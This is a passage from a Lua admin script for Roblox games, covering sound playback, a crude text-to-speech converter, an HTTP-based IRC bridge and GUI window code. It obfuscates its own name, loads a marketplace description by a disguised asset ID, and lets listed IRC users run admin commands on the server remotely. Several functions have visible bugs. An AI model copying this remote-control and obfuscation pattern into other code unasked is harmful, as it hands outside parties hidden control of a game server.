3352 if LocalSoundList then
3353 if type(LocalSoundList) == "table" then
3354 if #LocalSoundList > 0 then
3355 for _,Data in pairs(LocalSoundList) do
3356 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3357 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3358 end
3359 end
3360 end
3361 end
3362
3363 for _,JSONID in pairs(SoundJSONs) do
3364 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3365 local SoundInfo = MARKET:GetItemInfo(ID, true)
3366 local FullName = SoundInfo.Name
3367 local CreatorName = SoundInfo.Creator.Name
3368 SoundList[Name] = {ID, FullName, CreatorName}
3369 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3370 end
3371 end
3372
3373 if not CORE:NilPlayer(TellSync) then
3374 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3375 end
3376end
3377
3378function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3379 if not Volume then Volume = 0.5 end
3380 if not Pitch then Pitch = 1 end
3381 if tonumber(ID) then ID = "rbxassetid://"..ID end
3382 if Looped == nil then Looped = false end
3383
3384 local Sound = Instance.new("Sound", Parent)
3385 Sound.Pitch = Pitch
3386 Sound.Volume = Volume
3387 Sound.SoundId = ID
3388 Sound.Looped = Looped
3389 return Sound
3390end
3391
3392function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3393 if not Player or not ID then return nil end
3394 if NotifySounds[ID] then ID = NotifySounds[ID] end
3395 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3396 if Settings.EnableSounds or OverrideSettings then
3397 coroutine.wrap(function()
3398 wait()
3399 ClientSound:Play()
3400 Delay(5, function() ClientSound:Destroy() end)
3401 end)()
3402 end
3403 return Sound
3404end
3405
3406function SOUND:BindButton(Button)
3407 if not Button then return end
3408 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3409 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3410end
3411
3412function SOUND:StopGlobalSound()
3413 if Sound and Sound.Parent then
3414 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3415 Sound.Parent:Destroy()
3416 end
3417
3418 Sound:Stop()
3419 Sound:Destroy()
3420 Sound.SoundId = ""
3421 end
3422end
3423
3424function SOUND:PlayGlobalSound(ID, ShowInfo)
3425 SOUND:StopGlobalSound()
3426 if ShowInfo == nil then ShowInfo = true end
3427 local SoundID = ID
3428 local SoundName = nil
3429 local SoundCreator = nil
3430 local Pitch = 1
3431
3432 for Name,Info in pairs(SoundList) do
3433 if type(SoundID) == "string" then
3434 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3435 SoundID = Info[1]
3436 SoundName = Info[2]
3437 SoundCreator = Info[3]
3438 end
3439 else
3440 break
3441 end
3442 end
3443
3444 if tonumber(SoundID) and not SoundName then
3445 local Info = MARKET:GetItemInfo(SoundID, true)
3446 if Info then
3447 SoundName = Info.Name
3448 SoundCreator = Info.Creator.Name
3449 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3450 SoundID = nil
3451 end
3452 end
3453 end
3454
3455 if tonumber(SoundID) then
3456 if SoundID == 131201443 then Pitch = -1 end
3457 if SoundID == 130775695 then Pitch = 0.8 end
3458 if SoundID == 144035866 then Pitch = 0.8 end
3459
3460 local SoundParent = Server.Workspace
3461 if IsSB then
3462 SoundParent = Instance.new("Script", Workspace)
3463 SoundParent.Name = "M".."ML'S Admin Sound"
3464 end
3465 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3466 Sound.Name = "MML's Admin Sound "..SoundID
3467 Sound:Play()
3468 if ShowInfo == true then
3469 for _,Player in pairs(Server.Players:GetPlayers()) do
3470 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3471 end
3472 end
3473 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3474 end
3475end
3476
3477function SOUND:ConvertText(Text)
3478 Text = string.lower(tostring(Text))
3479 local Letters = {}
3480 local IDs = {}
3481 for Rule,Replace in pairs(TextConverter.Pronounce) do
3482 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3483 end
3484 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3485 local Start, End = string.find(Text, string.lower(Rule))
3486
3487 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3488 Text = string.gsub(Text, string.lower(Rule), Replace)
3489 end
3490 end
3491 for i = 1,#Text do
3492 table.insert(Letters, string.sub(Text,i,i))
3493 end
3494 for Num = 1,#Letters do
3495 if not Letters[Num] then break end
3496 local Letter = Letters[Num]
3497
3498 local function AddLetter()
3499 table.insert(IDs, TextConverter.LetterSounds[Letter])
3500 end
3501
3502 if Letter ~= "~" then
3503 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3504 table.insert(IDs, TextConverter.LetterSounds["oo"])
3505 table.remove(Letters, Num + 1)
3506 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3507 table.insert(IDs, TextConverter.LetterSounds["oo"])
3508 table.remove(Letters, Num + 1)
3509 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3510 table.insert(IDs, TextConverter.LetterSounds["th"])
3511 table.remove(Letters, Num + 1)
3512 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3513 table.insert(IDs, TextConverter.LetterSounds["sh"])
3514 table.remove(Letters, Num + 1)
3515 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3516 table.insert(IDs, TextConverter.LongVowels["e"])
3517 table.remove(Letters, Num + 1)
3518 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3519 table.insert(IDs, TextConverter.LetterSounds["wh"])
3520 table.remove(Letters, Num + 1)
3521 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3522 table.insert(IDs, TextConverter.LetterSounds["ch"])
3523 table.remove(Letters, Num + 1)
3524 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3525 table.insert(IDs, TextConverter.LetterSounds["f"])
3526 table.remove(Letters, Num + 1)
3527 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3528 table.insert(IDs, TextConverter.LetterSounds[Num])
3529 Letters[Num + 1] = "j"
3530 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3531 table.insert(IDs, TextConverter.LetterSounds["oo"])
3532 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3533 table.insert(IDs, TextConverter.LongVowels["e"])
3534 table.remove(Letters, Num + 1)
3535 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3536 table.insert(IDs, TextConverter.LongVowels["e"])
3537 table.remove(Letters, Num + 1)
3538 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3539 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3540 table.insert(IDs, TextConverter.LetterSounds["s"])
3541 Letters[Num + 1] = "~"
3542 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3543 table.insert(IDs, TextConverter.LongVowels[Letter])
3544 Letters[Num + 2] = "~"
3545 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3546 table.insert(IDs, TextConverter.LongVowels["i"])
3547 Letters[Num + 1] = "~"
3548 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3549 table.insert(IDs, TextConverter.LongVowels["o"])
3550 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3551 table.insert(IDs, TextConverter.LongVowels["i"])
3552 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3553 AddLetter()
3554 table.remove(Letters, Num + 1)
3555 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3556 Letters[Num] = "~"
3557 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3558 AddLetter()
3559 table.remove(Letters, Num + 1)
3560 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3561 AddLetter()
3562 table.remove(Letters, Num + 1)
3563 elseif Letters[Num+1] == Letter then
3564 table.remove(Letters, Num)
3565 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3566 AddLetter()
3567 table.remove(Letters, Num)
3568 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3569 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3570 elseif TextConverter.LetterSounds[Letter] then
3571 AddLetter()
3572 elseif STRING:IsSpacer(Letter) then
3573 table.insert(IDs, "Rest")
3574 end
3575 end
3576 end
3577
3578 return IDs
3579end
3580
3581function SOUND:StopSpeaking() coroutine.wrap(function()
3582 NoSpeak = true
3583 wait(1)
3584 NoSpeak = false
3585 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3586 if Obj.Name == "M".."M".."L Speak Sound" then
3587 Obj:Destroy()
3588 end
3589 end
3590end)() end
3591
3592function SOUND:SayConvertedText(IDs, Parent)
3593 if not Parent then Parent = Server.Workspace end
3594 local Sounds = {}
3595 for _,Data in pairs(IDs) do
3596 if NoSpeak and Parent == Server.Workspace then
3597 break
3598 end
3599 local Length = 0.3
3600 if Data ~= "Rest" then
3601 local ID = Data[1]
3602 Length = Data[2]
3603
3604 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3605 Sound.Name = "MML Speak Sound"
3606 table.insert(Sounds, Sound)
3607 Sound:Play()
3608 if Length then
3609 coroutine.wrap(function()
3610 wait(Length)
3611 Sound:Stop()
3612 end)()
3613 end
3614 end
3615 if not Length then Length = 0.3 end
3616 wait(Length/2)
3617 end
3618 coroutine.wrap(function()
3619 wait(1)
3620 for _,Sound in pairs(Sounds) do
3621 Sound:Destroy()
3622 end
3623 end)()
3624end
3625
3626local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3627
3628function SOUND:BeepPlayer(Player)
3629 if Player:FindFirstChild("PlayerGui") then
3630 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3631 Beep.Name = "Annoy"
3632 Beep:Play()
3633 end
3634end
3635
3636function SOUND:ClearInfo()
3637 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3638end
3639
3640-- IRC functions --
3641
3642function IRC:GenerateName()
3643 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3644end
3645
3646function IRC:AddChat(Name, Data, IsError)
3647 if not IsError then IsError = false end
3648 CORE:Log(IRC.Logs, Name, Data)
3649 table.insert(IRC.Chats, {Name, Data, IsError})
3650 IRC.MessageAdded:Fire(Name, Data, IsError)
3651end
3652
3653function IRC:Post(URL,Data)
3654 if Data and Data ~= "" then
3655 local Suc,Resp = ypcall(function()
3656 return Server.HS:PostAsync(
3657 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3658 Data,
3659 Enum.HttpContentType.ApplicationUrlEncoded
3660 )
3661 end)
3662 if not Suc then
3663 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3664 return false
3665 end
3666 IRC.SessionCounter = IRC.SessionCounter + 1
3667 return Resp
3668 else
3669 IRC:AddChat("[ CLIENT ]", "Unknown error")
3670 end
3671end
3672
3673function IRC:Send(Data)
3674 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3675end
3676
3677function IRC:GetData()
3678 return IRC:Post("s","&s="..IRC.SessionID)
3679end
3680
3681function IRC:Connect()
3682 return IRC:Post("n","&nick="..IRC.NickName)
3683end
3684
3685function IRC:Join(Channel)
3686 if not Channel then
3687 AddChat("[ CLIENT ]", "No channel specified!")
3688 return false
3689 else
3690 local Channel = string.lower(Channel)
3691 if string.sub(Channel,1,1) ~= "#" then
3692 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3693 return false
3694 end
3695 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3696 IRC:Send("JOIN "..Channel)
3697 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3698 return true
3699 end
3700end
3701
3702function IRC:Pong(Data)
3703 return IRC:Send("PONG :"..Data)
3704end
3705
3706function IRC:Quit(Reason)
3707 IRC.Stop = true
3708 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3709end
3710
3711function IRC:ReceiveData()
3712 IRC.Stop = false
3713 local Data = IRC:GetData()
3714 if Data then
3715 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3716 end
3717 while Data and not Stop do
3718 local Data = IRC:GetData()
3719 if Data and #Data > 0 then
3720 IRC:HandleResponse(REMOTE:Decode(Data))
3721 end
3722 wait(2) -- Don't spam the server
3723 end
3724 if not Data then
3725 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3726 end
3727 if Stop == true then
3728 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3729 end
3730end
3731
3732function IRC:ConnectToServer(Server)
3733 if Connected then
3734 if not IRC.Servers[Server] then
3735 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3736 return false
3737 end
3738 IRC:Quit("New Connection")
3739 end
3740 local Response = IRC:Connect()
3741 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3742 local Data = REMOTE:Decode(Response)
3743 IRC.SessionID = Data[2]
3744 wait(1)
3745 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3746 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3747 IRC:Quit()
3748 IRC:ConnectToServer(Server)
3749 end
3750 IRC.Connected = true
3751 IRC:Join(Settings.IRCChannel)
3752 IRC:ReceiveData()
3753 IRC.Connected = false
3754 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3755end
3756
3757function IRC:FindUser(UserName)
3758 for UserID,User in pairs(IRC.Users) do
3759 if string.lower(User) == string.lower(UserName) then
3760 return UserID
3761 end
3762 end
3763 return nil
3764end
3765
3766function IRC:HandleResponse(Data)
3767 if type(Data) ~= "table" then
3768 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3769 ypcall(function()
3770 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3771 end)
3772 return false
3773 end
3774 for _,Output in pairs(Data) do
3775 if type(Output) == "table" and Output[2] then
3776 local ID = string.upper(Output[2])
3777 if not IRC.Ignore[ID] then
3778 if ID == "PING" then
3779 IRC:Pong(Output[4][1])
3780 elseif ID == "PRIVMSG" then
3781 local SenderDetails = Output[3]
3782 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3783 local Channel = string.lower(Output[4][1])
3784 if Channel == IRC.NickName then
3785 Channel = Sender
3786 -- TODO: Handle PM's
3787 end
3788 local Message = Output[4][2]
3789 if Message ~= nil then
3790 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3791 if string.find(Message,":") then
3792 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3793 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3794 IRC:AddChat(IRCUser, IRCMessage)
3795 end
3796 else
3797 IRC:AddChat("[ IRC ] "..Sender,Message)
3798 for _,Name in pairs(Settings.IRCCommandExecuters) do
3799 if string.lower(Name) == string.lower(Sender) then
3800 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3801 break
3802 end
3803 end
3804 end
3805 else
3806 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3807 end
3808 elseif ID == "NICK" then
3809 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3810 -- change nickname?
3811 elseif ID == "433" or ID == "451" then
3812 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3813 IRC:Quit("Nickname in use, rejoining with new name")
3814 IRC.NickName = IRC:GenerateName()
3815 wait(2) -- wait for old sessions to end
3816 IRC:ConnectToServer(Settings.IRCServer)
3817 elseif ID == "353" then
3818 if Data[4][4][4] then
3819 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3820 table.insert(IRC.Users, Output)
3821 end
3822 end
3823 elseif ID == "QUIT" or ID == "PART" then
3824 for User in string.gmatch(Data[1][3], "[^!~]+") do
3825 if IRC:FindUser(User) then
3826 IRC:AddChat("[ IRC ]", User.." has left")
3827 table.remove(IRC.Users, IRC:FindUser(User))
3828 end
3829 end
3830 elseif ID == "JOIN" then
3831 for User in string.gmatch(Data[1][3], "[^!~]+") do
3832 if not string.find(User, "qwebirc") then
3833 IRC:AddChat("[ IRC ]", User.." has joined")
3834 table.insert(IRC.Users,w)
3835 end
3836 end
3837 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3838 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3839 --IRC:Quit("Connection lost")
3840 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3841 --IRC:ConnectToServer(Settings.IRCServer)
3842 elseif IRC.Codes[ID] then
3843 --print(ID)
3844 --print(Data[i][4][2])
3845 --print(Data[i][4][2])
3846 elseif ID == "KICK" then
3847 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3848 IRC:Quit("Kicked from IRC")
3849 elseif ID then
3850 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3851 else
3852 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3853 end
3854 end
3855 else
3856 if Output == false then return false end -- sneeky server
3857 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3858 end
3859 end
3860end
3861
3862-- GUI functions --
3863
3864function GUI:GetColor(ColorName)
3865 if not ColorName then ColorName = Settings.ColorScheme end
3866 return Colors[string.upper(ColorName)]
3867end
3868
3869function GUI:ContrastColor(Color)
3870 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3871 if not Color then Color = GUI:GetColor() end
3872 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3873end
3874
3875
3876function GUI:GetNameColor(Name)
3877 local Val = 0
3878 for i = 1, #Name do
3879 local CVal = string.byte(string.sub(Name, i, i))
3880 local RevIndex = #Name - i + 1
3881 if #Name%2 == 1 then
3882 RevIndex = RevIndex - 1
3883 end
3884 if RevIndex%4 >= 2 then
3885 CVal = -CVal
3886 end
3887 Val = Val + CVal
3888 end
3889 local Index = Val%8 + 1
3890
3891 return BrickColor.new(ChatColors[Index])
3892end
3893
3894function GUI:Color3ToHex(Color)
3895 local function ConvertNumber(Number)
3896 local HexString = "0123456789abcdef"
3897 local Byte = ""
3898 while Number > 0 do
3899 local Calc = math.fmod(Number, 16)
3900 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3901 Number = math.floor(Number / 16)
3902 end
3903 if Calc == "" then
3904 Byte = "00"
3905 elseif #Byte == 1 then
3906 Byte = "0"..Byte
3907 elseif Byte == "" then
3908 Byte = "00"
3909 end
3910 return Byte
3911 end
3912 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3913end
3914
3915function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3916 if not Player then return nil end
3917 if not Player:FindFirstChild("PlayerGui") then return nil end
3918 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3919 if not TitleText then TitleText = "Unknown" end
3920 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3921 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3922 if not IconID then IconID = 19919809 end
3923 if ShowFormButtons == nil then ShowFormButtons = true end
3924 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3925 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3926 if AutoOffset == nil then AutoOffset = true end
3927 if Icons[IconID] then IconID = Icons[IconID] end
3928 if TweenPosition == nil then TweenPosition = true end
3929 if NoModal == nil then NoModal = false end
3930 if NoScrollFrame == nil then NoScrollFrame = false end
3931
3932 local IsClosed = false
3933 local Minus = nil
3934 local Offset = 0
3935 local ContentType = "ScrollingFrame"
3936 local TweenSpeed = 0.3
3937
3938 if AutoOffset then
3939 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3940 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3941 if Item.IsActive.Value == true then
3942 if Item.IsTrueForm.Value == true then
3943 Offset = Offset + 50
3944 end
3945 end
3946 end
3947 end
3948 end
3949
3950 if NoScrollFrame == true then
3951 ContentType = "Frame"
3952 end
3953
3954 SOUND:PlayNotification(Player, 155331654)
3955
3956 local Position = Position + UDim2.new(0,Offset,0,Offset)
3957 local MinimizePos = Position
3958
3959 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3960 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3961 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3962
3963 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3964 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3965 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3966 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3967 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3968 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3969 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3970 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3971 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3972
3973 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3974 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3975 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3976 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3977 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3978
3979 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3980
3981 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3982
3983 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3984 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3985 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3986 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3987 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3988 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3989
3990 if Settings.EnableTaskBar then
3991 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3992 else
3993 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3994 Title.Size = UDim2.new(1, -95, 0, 25)
3995 end
3996
3997 if not ShowFormButtons then
3998 X:Destroy()
3999 TitleEnd:Destroy()
4000 Title.Size = UDim2.new(1, -55, 0, 25)
4001 end
4002
4003 local function CloseForm()
4004 if IsClosed == false then
4005 IsActive.Value = false
4006 IsClosed = true
4007 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
4008 Closed:Fire()
4009 SOUND:PlayNotification(Player, 206375138)
4010 end
4011 end
4012
4013 local function MinimizeForm()
4014 if IsActive.Value == true then
4015 IsActive.Value = false
4016 Minimized:Fire()
4017 MinimizePos = Dragger.Position
4018 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
4019 end
4020 end
4021
4022 local function RestoreForm()
4023 if IsActive.Value == false then
4024 IsActive.Value = true
4025 Restored:Fire()
4026 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
4027 end
4028 end
4029
4030 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
4031 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
4032
4033 Close.OnInvoke = CloseForm
4034 Minimize.OnInvoke = MinimizeForm
4035 Restore.OnInvoke = RestoreForm
4036
4037 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4038
4039 if TaskBar then
4040 TaskBar:WaitForChild("AddForm")
4041 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4042 end
4043
4044 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4045end
4046
4047function GUI:CoreGui(Player, Type, Enable)
4048 local Parent = Player:FindFirstChild("Backpack")
4049 if not Parent then Parent = Player.Backpack end
4050 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4051end
4052
4053function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4054 if not Player or not Player:IsA("Player") then return nil end
4055 if BodyText == "" then return nil end
4056 if not Player:FindFirstChild("PlayerGui") then return nil end
4057
4058 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
